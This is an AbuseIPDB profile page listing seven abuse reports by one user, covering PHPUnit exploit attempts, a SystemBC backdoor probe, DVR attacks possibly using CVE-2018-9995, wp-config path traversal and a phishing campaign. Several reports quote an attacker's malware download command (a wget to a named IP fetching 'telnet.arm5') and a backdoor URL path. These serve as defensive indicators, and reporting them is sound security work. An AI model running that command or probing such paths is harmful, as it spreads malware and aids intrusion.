AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User BlueSEC joined AbuseIPDB in March 2024 and has reported 7 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇮🇪 3.249.156.47	26 Feb 2025	30 tries within 2 minutes to exploit PHPUnit vulnerability most likely indicating use of Androxgh0st ... show more 30 tries within 2 minutes to exploit PHPUnit vulnerability most likely indicating use of Androxgh0st Malware. show less	Hacking Web App Attack
🇳🇱 45.58.159.240	16 Feb 2025	looking for SystemBC Botnet backdoor URL /systembc/password.php	Hacking Web App Attack
🇺🇸 20.185.250.136	06 Feb 2025	Attack against DVR Vulnerability possibly CVE-2018-9995; this IP 20.185.250.136 is using 103.241.65. ... show more Attack against DVR Vulnerability possibly CVE-2018-9995; this IP 20.185.250.136 is using 103.241.65.218 to download malware in the second step. wget+ 103.241.65.218/selfreps/telnet.arm5 show less	Hacking IoT Targeted
🇭🇰 58.152.129.145	06 Feb 2025	Attack against DVR Vulnerability possibly CVE-2018-9995; this IP 58.152.129.145 is using 103.241.65. ... show more Attack against DVR Vulnerability possibly CVE-2018-9995; this IP 58.152.129.145 is using 103.241.65.218 to download malware in the second step. wget+ 103.241.65.218/selfreps/telnet.arm5 show less	Hacking IoT Targeted
🇬🇧 103.241.65.218	06 Feb 2025	Attack against DVR Vulnerability possibly CVE-2018-9995; more concerning: this host is possibly stil ... show more Attack against DVR Vulnerability possibly CVE-2018-9995; more concerning: this host is possibly still used as a distribution platform for malware, if no countermeasures have been taken yet. Originating attack from HongKong IP 58.152.129.145 using 103.241.65.218 to download malware in the second step. wget+ 103.241.65.218/selfreps/telnet.arm5 show less	Exploited Host
🇳🇱 195.211.191.110	06 Feb 2025	Multiple path traversal attack tries to get access to wp-config	Web App Attack
🇳🇨 202.22.228.135	03 Sep 2024	Multiple phishing attempts from mail.mie.nc[202.22.228.135] from address [email protected] - iterates ... show more Multiple phishing attempts from mail.mie.nc[202.22.228.135] from address [email protected] - iterates over common addresses like contact@ sales@ info@ but also specific addresses - sends PDF attachment including a link to adclick server with referer to .ru malicious site. 14 attempts from Aug 1, 2024 up to today Sept. 3, 2024. show less	Phishing